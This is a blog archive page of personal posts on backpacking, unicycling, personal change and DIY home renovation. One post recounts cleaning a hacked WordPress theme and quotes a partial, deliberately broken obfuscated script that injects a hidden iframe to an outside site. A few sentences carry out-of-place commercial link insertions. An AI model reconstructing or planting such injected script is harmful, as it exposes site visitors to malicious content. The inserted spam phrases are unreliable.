Archive for the ‘Personal’ Category

Oh What a Beautiful World

August 20th 2010

What is Beauty?

Its hard to express sometimes what beauty is.  It is something we each have our own idea of, our own experiences with and so obviously beauty is also subjective.  Luckily, it is something that we can easily find if we simply choose to see it and with that mentality, beauty can be found all around us in this world.  Beauty is in the people around us, the love shared between friends and family, within the nature surrounding us, inside our body’s with every breath and heartbeat and around us in the color, smells, and sensations we take in absorbing this beautiful world.  All of that beauty is there for the taking, the viewing, the seeking and longing.

The way I capture beauty in this world in through adventure, nature and memories.  The easiest way I have to share those memories is by capturing them with photography and by finding beauty in the resulting image so that I can remember it and share it more easily.  I’ve recently shared some other photography from various day trips hiking in the mountains and learning about the important of perseverance when climbing a mountain but I have to say this most recent trip of mine tops those in beautiful by many times and I want to share some of it with you.

Backpacking

So during some of my holidays this summer, I had booked a week long backpacking trip with my brother who I don’t get to see all that often living across this huge nation.   We planned a backpacking trip in the Kootenay National Park on the edge of British Columbia next door to my home province here in the great Rocky Mountains of Canada.  Anyway, we planned to do about 75 km of backpacking through and around what is known as the Rockwall.  I understood it to be one of the most beautiful scenic trails with fantastic views and open landscapes through several incredible passes and camping destinations.  This was also my first overnight backpacking trip so there was plenty of prep to do, unknowns to discover and a clueless approach that is the perfect recipe for discovering beauty with no expectations.

I have to say that those elements I listed for me to capture beauty in this world were in perfect combination with this trip.

  • Adventure since it was something I had never done before and being out for 5 nights tenting in bear country sounded awesome to me!
  • Nature since its 15km away from any roads and the wilderness offers majestic views when there is minimal human intervention.
  • Memories since it was a great vacation, good time spend me my bro and a chance to spend a lot of time in thought, photography and simply remembering the trip.

Photography

Photography is definitely something I enjoy and as a 3D artist and life long hobbiest with video, photography and artistic imagery, I certainly have some skills in capturing the moment and scene with a camera.  I don’t use elaborate equipment, or any fancy camera, I simply use a simple and old Canon Elph Powershot SD700IS point and shoot.  Do I know how to use it well?  Definitely, I get the best photos I can from it and am looking forward to getting a newer camera when this one finally dies.  I’ll always be a point and shoot pocket camera kind of guy as I know I can still get a good shot, despite not lugging around an expensive DSLR with extra lenses.  I just like to have the camera in my pocket wherever I go and being able to quickly snap photos at a moments notice and have it securely tucked back in my pocket in the rain or rough terrain just a couple seconds later is my favorite part of a compact point and shoot.

Landscape and nature photography is definitely my favorite and so this trip provided endless opportunities for shooting great photos.  My brother is a big fan of photography as well so two addicts on the trails together meant scouting out the best shots, best angles, best lighting and an onslaught of photos of course.  I’ve said before my favorite kind of photos are definitely panorama wide shots and they are best with the kind of scenery we were surrounded by.  I generally take about 4-8 shots wide for panoramas but this time I did a lot of bracketed exposure panoramas that stitch together into high dynamic range panorama images so I had total control of the colors, light dynamics and contrast like you cannot get with standard shooting.  I’ve included a number of those final images in this page and gallery along with some regular photos and a few of my favorites.  Obviously I have many others I could share, but here is a sample of the beauty I lived in for the week.  Hard to compare with that is for sure upon returning to the concrete jungle landscape.  I will definitely admit I was happy to come home though to my beautiful wife, wonderful food and some clean clothes and things to do again.  I didn’t have those luxuries in the woods.

Posted by Mike King under Personal | 13 Comments »

The Importance of Perseverance

June 26th 2010

There are many analogies that bloggers use in their articles and this one is no exception.  I’ve always looked at my hobbies and certainly my mountain unicycling as an example for many things that reflect my personality in my life.  Learning to ride a unicycle is not an easy task and it requires perseverance and a high level of dedication to stick to it until you get it.  It’s a skill I’ve mastered and having that mountain unicycling skill always reminds me that I can take on new things by perseverance.  Well today was no exception, I planned to seek out a mountain top about 2500m and day hike it with my unicycle so I could ride back down (as much as possible anyway).

I decided to go up Mount Allen in Kananaskis about 1.25 hrs from my house in the Canadian Rockies after I parked my car using parkbluesky.com.  It’s 2800 m high actually and a very difficult ascent with over 1500 m of elevation gain.  This task proved to need serious perseverance.  I had read it can take 10hrs to hike to the summit and back due to the technical hiking and steep slopes.  I was hoping to complete it in about 6-7 hours by packing my unicycle and riding whatever areas I could to cover distance faster.  Plus I had some new hiking shoes to break and I really don’t like going anywhere in the mountains without my unicycle.

So, I started the trail head at 9:30 am and starting heading up.  I was able to ride some of the lower sections through the forest and a few areas above the tree line but most of the slopes were steep switchbacks and loose rock, not something I wanted to even attempt riding up (down is another story though).  Pass a few marmots, plenty of squirrels and chipmonks but didn’t see any other wild animals.  Lots of signs of bear with prints and scat in the snow and on the trail.  I didn’t see any bears directly though.  I was the third hiker up (I could tell from the snow prints and by meeting people coming back down once I got closer to the summit) and when I did summit, the group behind me said they saw about 25 areas dug up on the trail by a bear digging out bugs and whatever else it could find.  I didn’t see these dug out areas until I headed back down so the bear was between me and that next group only about 30 minutes behind me.  Anyway, back to the point of this article.

Along the climb, its funny how perseverance comes into play.  At many points I was thinking that I would turn back early since my pack was heavy, my back was already a bit sore and my feet and calfs were definitely feeling steep slopes early on.  Luckily, I keep thinking about getting to the next point, bit by bit and then continuing to push myself again once I get their.  That is really what perseverance is all about, it simply motivates you keep going and persist on your goal, in this case, the summit. Surprisingly, I came across a group of adventure runners and I knew one of the women in the group and she was quite impressed to see me doing the hike with my uni, so she had to take a picture together.  I hadn’t seen her for a couple years so this was yet again, another thing that inspired me to persevere and press on to the summit instead of turning back. The final summit climb looked the most daunting and fortunately by this point, my back and feet were sore but not getting worse, so I knew I could press on and get to the summit.  There was a lot of snow and some areas you had to hike up 30-40° snow slopes on skree which made it a little risky and I definitely had to go very slowly and carefully to keep my footing without slipping.  A slide down a mountain with half snow, half rock is not an experience I ever want to have!!

So, I made the summit at 1PM so the hike took 3.5 hours.  I stopped for lunch, a break and many photos and to chat with the next group that reached the summit after me.  So 50 minutes later, my pack back on, I headed down the mountain.  I found a safer route than what I climbed that was mostly rock, with little snow, so the summit descent was much safer than the climb luckily.  I then enjoyed many of the downhill areas and technical rock areas riding my uni so was able to get down much faster in about 2 hours.  So it perseverance of course that keeps me riding my cycle to places many people wouldn’t even dare walk and its perseverance that got to the summit and back in 6.5 hrs, which I was quite happy with.  I’m sure you have your own stories of perseverance, I’d love to hear them and I hope you enjoy some of the pictures from my hike today.

Posted by Mike King under Personal | 23 Comments »

My Theme was Hacked here at LearnThis.ca!

March 25th 2010

So, I had some urgent work to do on the site tonight and wanted to share my results. First off, I want to thank Robin at NakedinEden.com as well as Dena at EvolutionYou.net for pointing out that my site was being reported to have a virus or unsafe site reference on it over the last couple of days.  I didn’t believe this at first because I just couldn’t find anything about this or confirm it.  Anyway, I thought I would share a bit of what I went through to narrow this down and finally find it (and it seems to have fixed it).  It’s amazing to me how sneaky some of these hacks can be and even more so, how they get access in the first place.  I’m a software designer and developer and so I generally know my way around computers, websites and do at least the basic steps to protect yourself, yet I am constantly amazed that that is not enough nowadays.

Confirm it

Anyway, some of the actions I took in searching for this were:

  1. Robin mentioned the specific text which was showing in your virus detection so I started hunting for that. “seeintraf.com/click/in.cgi?3”
  2. I did a full database scan for all URLs and Author Names in case it was lodged inside some comment from someone (I’ve had image links for gravatars before showing as malformed URLs like this before). After a full search, nothing.
  3. I loaded the site into every browser out there from multiple computers in multiple locations with multiple virus softwares and none of them showed any problems or detected anything at all.
  4. I then did a full site extract and download to RAW HTML using a website downloader that will download all the images, links, URLS and everything into RAW html. I searched that with full text search to find any of those URL I characters from the virus software. Nothing.
  5. I ran a number of online virus scanner that check the site for bad links and online viruses or threats at the site. Nothing. None of them found any problems.
  6. I did a google search of course for the text and there were only two web sites in a forum that even mentioned it, but provided no help in solving it. Still nothng.
  7. I checked out the errors and blocked content showing up in IE for each page by pressing the little eyeball icon in the lower statusbar. This finally showed the referenced URL above and listed it as a blocked site and a tracking URL. OK, finally confirmed it!

Seek it

A relief to see that I was not just going crazy though and finally could confirm what my helpful readers had pointed out.  Next on to solving it.  I had no idea where to start and just started playing and testing.  Here is what it took to find it.

  1. Turned off plugins to see if any made a difference to the tracking cookie incase I had some bad plugin.  Nope. No differences.
  2. Checked pages with and without the sidebar on to narrow down WHERE the URL could be loading from.  No difference with or without it.
  3. Checked file access times and permissions of all my site files for wordpress, nothing had any recent edits.
  4. Checked log files to see if any activity that was likely NOT mine showed up in my website logs.  Nothing.
  5. Checked for wordpress updates and of course searched all the wordpress forums for this type of error.  Nothing.
  6. Finally, swapped the theme back to the wordpress default theme and voila, problem went away.  So, this meant that the problem was in my theme files

A nice relief came at this stage to at least know where the problems was even if I hadn’t narrowed down on it completely.  It was just a matter of time though.  The easy part here though.  Since I had already tested if plugins or sidebar made a difference and it didn’t, I knew the problem had to be in my headers, footers or main display pages.  Surprisingly, I came across this in my header.php file right after the start of the body text.

<script language=JavaScript>document.write(unescape(‘%3c%69f’+’ra’+’m%65 %7   …..  65ig%68%74=%31 border=0 framebor%64e%72=0 %73%72c=%27htt’+’p://pr%6ffil%65sgu%69de.c%6fm …..  hp%3f%73%69d=1%27%3e%3c/if%72am%65%3e’))</script>

Note: I’ve broken the sequence of escape codes so this can’t be reproduced by anyone.  It appears that the hack puts the URL into escape codes so you can’t easily just search for the URL like I had already tried to find this reference.  Sneaky, that is for sure.

Destroy it

So, I removed it and tested the site.  It was still the same problem, but I did notice some other URLS removed from the blocked content list.  So, I checked my footer.php file for my theme as well and there it was again, a similar chunk of unescaped codes being written into my browser html.  Once I removed this as well, I refreshed the site and it no longer has any of the blocked URLs showing up so it seems to have fixed the problem.  I’ll obviously keep an eye on this and make sure it doesn’t come back.  Hackers have a tendency (since they are usually automated systems) to get in over and over under the vulnerability is actually solved.  I’ll have to continue looking into what that might be, as I have no idea right now.

I changed all my account passwords on my site, searched through the rest of my theme files and put all my changes back on for plugins and other site content.  I’ve made a full site backup and database backup now just to be safe and will watch the site closely for a few days to ensure nothing else happens.  I’ve let my ISP know about the hack as they often trace down attacks, especially if they can detect it on other domains as well and catch whoever is doing it.  I hope this articles helps someone someday with a similar problems, gives you ideas for troubleshooting your own site problems if you have any or at least reminds you to backup your own blog and ensure you keep your passwords and content under close watch.  Again, I thank my readers for informing me of this issue and I hope the site here didn’t cause any other issues for anyone.  It doesn’t sound like that virus is any threat to your PC directly, but I honestly don’t know what they could have been tracking?

Posted by Mike King under Personal | 8 Comments »

Action Creates Change

January 15th 2010

Change is obviously a huge part of personal development as you can’t truly develop without change.  You can learn, you can gain knowledge, but you don’t really develop without putting those things into practice where you develop your character, your relationships, or work or some part of your life.  I always strive to put more than just the learning aspect in my articles and the biggest differentiators that I have learned in realizing personal development is that of taking action.  And action creates change.

Start Small

Change is tough.  It scares people and when we are satisfied with life, it threatens to break whatever certainty we have in keeping that satisfaction.  Personal development challenges that by looking at driving change to improve oneself and to better our lives and the experiences we create in life.  Whether you are a master change agent or an individual of daily habit afraid to try anything new, the only way to create any method of change for personal development is to start small and work up to bigger and bigger changes.  For those just starting to explore change and personal development for the first time, simple ideas or change are the best way to start.  Focus on thinking of the positives from change and what you can accomplish once you have made it.  Think about what you will have, how you’ll feel when you accomplish that first change and how it motivate you.  Perhaps it will give you specific feelings of pleasure or happiness you don’t have without it.

Starting small can happen simply by looking first at those ideas.  The way you think about change is really a crucial step and unfortunately it’s often overlooked.  Just imagine yourself where the change has already occurred and think about the future with that change in place.  This visualization you create is the first small yet crucial step in making change happen through action.  Changing the way to think about change and looking forward to what you will have from making change, even before doing it, is an action in your mind that will enable so much more.

Practice those thoughts of change, visualizing the great things you will have and the next small thing to do to implement change is to simple decide that yes, you do in fact want that change.  Reinforce your desire for it and keep reminder yourself of the pleasure you will have by getting it.  Perhaps you will also avoid some pain you experience now by NOT making that change.  If so, the promise of avoiding that pain by making the change can further enhance the desire you have to make the change.  All of this and you really haven’t DONE anything yet.  Start small.

Building Confidence

From the desirable change you’ve now imagined in your mind you’ve got to convert that desire into something stronger.  You need to make a decision to get the change.  Depending on how committed you make yourself to your decisions, this might be a powerful factor or a weak one.  It still makes an impact once you commit and decide to make it happen.  The strongest way to do this is to write it down and share it with a friend or loved one.  Share it to make your commitment stronger.  With that commitment on paper and in the minds of others, its time you set out and take action.  Make the first step that leads toward the change.  Just as before, start small and build upwards.  There are many ways to progress your steps from simple to small. These won’t apply to all change but they do provide a list of ideas from simple to more complex.

  • Tell someone about the change you visualized
  • Use pictures to visually represent the change you want by creating a poster or picture
  • Use daily affirmations about the change in place
  • Create a list of steps or goals that lead you to the change
  • Tackle one change each day to work towards the change
  • Remind yourself and reward yourself for progress made

The best thing about progress in change is that it builds confidence.  Gaining confidence create momentum which allows you to take on larger and larger actions, leading to bigger results.

As you see this progress, your confidence continues to grow and it’s a cascade effect.  This process might be over a period of days or years, it depends on the individual.  However, recognizing the progress and the change will always build confidence.

Realizing Continual Change

As you experience changes through personal development, you begin to go through periods a significant change and often one change will lead to another.  This is a great aspect of personal development, because change itself will sometimes revealing new opportunity or inspire another area in your life.  When these start to happen, you’ll end up with changes want to make that overlap each other in time.  As you see more progress, and continue to ramp up the changes you desire and enjoy the pleasure of achievement, you’ll begin to close the gap and see that you are really going through continual change.  Continual change is more than many repeated cycles of change that you intentionally perform, it begins to go much deeper inside one self without having to intentionally do so.

At this point, your subconscious becomes more and more activated by the continual change your experiencing and you’ll start to realize the changes are no longer happening only from your conscious ideas but there also starting to happen with your awareness, with your understanding, and even your fundamental beliefs.  Personally, I found that this new subconscious activity forms conscious thought, questions and a desire to explore it further.  So this realization comes full circle if you once again decide to make a change and carry it through.

Mastering Change

Mastery is a wonderful word.  It implies taking a skill to the furthest level and being able to do it easily, repeatedly and every time with excellence.  Mastering anything takes years of practice and dedication. Mastering a skill typically has a finite amount to learn and practice in order to gain that level of repeated excellence.  Once you reach that level, you can maintain it without struggling and it really becomes automatic.

Change however, is more complex than an ordinary skill.  Change is never finite because every single change you make will always be unique and have its own set of obstacles to overcome.  Improving your ability to change though makes you more flexible and adaptable.  Mastering change would mean that you can take on any change in life easily and do it well every time. Mastery means that change becomes so easy you simple need to make that choice and decide to change something and because of the mastering in change, it will happen one way or another with no further contemplation necessary.  Countless practicing, years of training, conditioning the body and mind to follow are all what leads to and creates mastery.  Eventually, just the decision itself becomes all that is needed as a catalyst to make the change happen.  That is complete mastery in my mind.  This is of course subjective but what a fantastic goal to have.  To be able to adapt to any circumstances, to change oneself for the better whenever the opportunity arises simply by making that decision and then to have continual changes bringing challenge, joy and satisfaction to each and every day in life!

Personal development has that very thing to offer and even though it may be an audacious goal, these steps for change allow us to come ever closer to mastering change, all we have to do is start small, take action and everything else builds on that.

Posted by Mike King under Personal | 13 Comments »

The Pain and Joy of Do It Yourself

October 26th 2009

1224085_measuring_tapeYou may have noticed the lack of updates lately and that is because we’ve moved houses and in doing this, I’ve taken on a significant amount of home improvements and some minor renovations which have been VERY time consuming to complete and finish on my own during a move.  In doing mild steel sheet for DIY in the home, its been stressful, a challenge and I’ve had little rest and time to do what I normally do.  However, we’ve completed our move, settled into our new home, sold our old house and have only a few immediate things to finish.

The Pain of Doing Things Yourself

Well there is certainly a lot of pain from the perspective of time, labour and difficulties in doing things yourself as there is really no one to rely on except yourself.  You can get more info on mihomeinspections.com. This can be part of the reason to take on a challenge for some, but it is also makes unexpected things much more impactful as there is no one to help get you through it.  My wife and I had lived in our house for 9 years and it was our first house.  We like to credit ourselves that we don’t accumulate too much stuff but after seeing this move and actually have to move everything, I definitely know we still have a lot more than we need and in fact, more than we even want!

There were a few major steps in this move, the first was simply moving to our new house as we bought it with no plans to move very spontaneously (the only house we looked at) and hadn’t even thought about selling our existing home yet at the time.  So, the second step was to sell the current home.  Then finally, the 3rd step was to renovate the new house to have a hair salon since my wife runs her business out of our home.

Moving was the fun step as we cleaned up our belongings, thinned out our junk, packed everything up and got excited about being in the new house.  We rented a 26′ cube van and packed everything in for a one trip move with a couple SUV loads along side.  Thankfully, we had a bunch of friends who helped us move and even though we did it ourselves, it was done in one day and everything moved to the new house successfully.  There was certainly hard labor at stake here and some serious lifting required but all in all, doing this yourself if you have help is the way to go.  We were well prepared with everything in boxes which make loading/unloading a snap.  We unpacked and setup everything in a couple days as we knew we had renovations to focus on so didn’t want to drag this process out.

Step two was the one with much more pain.  Selling the old house.  I had a list of about 30 improvements to make, many urgent before we listed the place and then a number to make as we were packing, moving and listing the house.  I worked every night till 11PM after my day job and in between graphics jobs so didn’t really leave myself much free time (OK, NO free time really).  I spent 2 weeks painting, trimming, fixing, putting up some drywall, dropped ceiling in basement, and many other minor things to prepare to list.  Then we listed the house hoping to sell before we moved out ourselves.  Another pain in this process was then from all the showings that realtors had on our house while living there and trying to finish home improvements.  I can’t tell you how inconvenient that was and I only appreciate having my space in my home and privacy all that much more as a result.  This was one of the biggest realizations from this whole process.  I have a lot of gratitude now for the privacy I do have in my home without having to constantly evacuate, keep everything in pristine shape and be ready to leave or not come home at a moments notice. We moved out and then sold our house a few days later with almost a month of overlap having both houses.  This gave me time to build and move my wife’s salon for her home business.

This final step has the one with really the most committment as there are always a thousand little things do to when you move into a new place to make it feel like your own, but I had limited time to do a renovation and get everything setup.  I had some minor electrical to change (with my dad’s help who is a journeyman electrician) and with nearly any home improvement a small task turns into a bigger own.  Got that sorted out and then started the real labour.  I had carpet to tear out and changes to make to the sub-floor where there was a dropped entry way.  Repainted everything, made the changes to plumbing and electrical and put in a laminate floor.  I’m just finishing the trim and final touches and setting up the salon equipment /cabinets now to polish everything off.

All in all, the pain has mostly been the stress of having fixed timelines, the sheer amount of labour itself, the countless trips off to the hardware store and figuring out how to do home improvements you’ve never done before.  Let alone the strain of being too busy to get together with friends as often as you’d like and the stress that wears away at each other in marriage when things are so hectic!

The Joy of Doing Things Yourself

Now on the other side of the fence, there is a lot of joy in doing things yourself as well despite whatever hardships are encountered. The biggest thing for me personally which has always led me to being a bit of a handy man and home improvement guy is just knowing the work is done well, how its done and then seeing and living with it everyday.  Its very satisfying to do your own home improvements and the sweat and time put into it always feels great once the results are there.

That is the other great thing about doing it yourself, the results.  I don’t do anything partially, when I set my mind to something I do it 100% and I do it well.  My results in my work and in this kind of work at home are no different, I see it done exactly how I want and can be pleased with the results.

Another great thing about doing things yourself is the money you can save.  Moving yourself and doing your own renovations comes at a fraction of the cost of hiring it out.  Moving comes with enough expenses from the house sale itself, let along all the other legal aspects of moving/selling.  Our new house adds to our mortgage of course, but the thousands of dollars in extra expenses I’ve saved from doing these things myself are a satisfying relief on that as well.

And finally, the joy of this that really stands out for me, is the joy of what is learned by doing things yourself.  I’m only a handyman because of what I’ve learned by doing things myself and its enabled me to do more and more of my own work, and to experience the joys of it.  There is always things to learn in taking on a challenge and while during the challenge itself things may not always feel worth it, there are things learned from doing it that last far longer than any of the struggles during.  In part, that is what drives me to put in the time and effort required as I know it will result in so much more and I’ll have learned things I will use again in the future.  Not only skills, but in coping with and handling similar situations or for helping others get through them when their time comes.  All in all, its another experience, story and lesson to draw on in my life and anyone who takes on work themselves would likely say the same.  I know its worth doing and I always love to encourage others to try a little do it yourself (DIY) to make that life experience as well.

Posted by Mike King under Personal | 17 Comments »

Interview with Your’s Truly at TimelessInformation.com

July 10th 2009

Armen at TimelessInformation has always been a great friend to me in the blogging world and I appreciate the way he examines topics and he has produced a great blog well worth reading.  The value he has in his posts are a clear sign of the thought he puts into his site and he’s always made the effort to help me out by pointing out minor mistakes or new tools to use on my own blog.  He’s been a great example of why I love connecting to so many great bloggers and so I was thrilled when he asked if I would respond to a brief (yet very thoughtful) interview on a few topics common on our blogs.

Please go check out the interview at TimelessInformation.com

You can comment there with any thoughts or additions you have.

 

If you want to check out more of Armen’s content directly here are a couple of my favorites from his site:

Posted by Mike King under Personal | Comments Off on Interview with Your’s Truly at TimelessInformation.com

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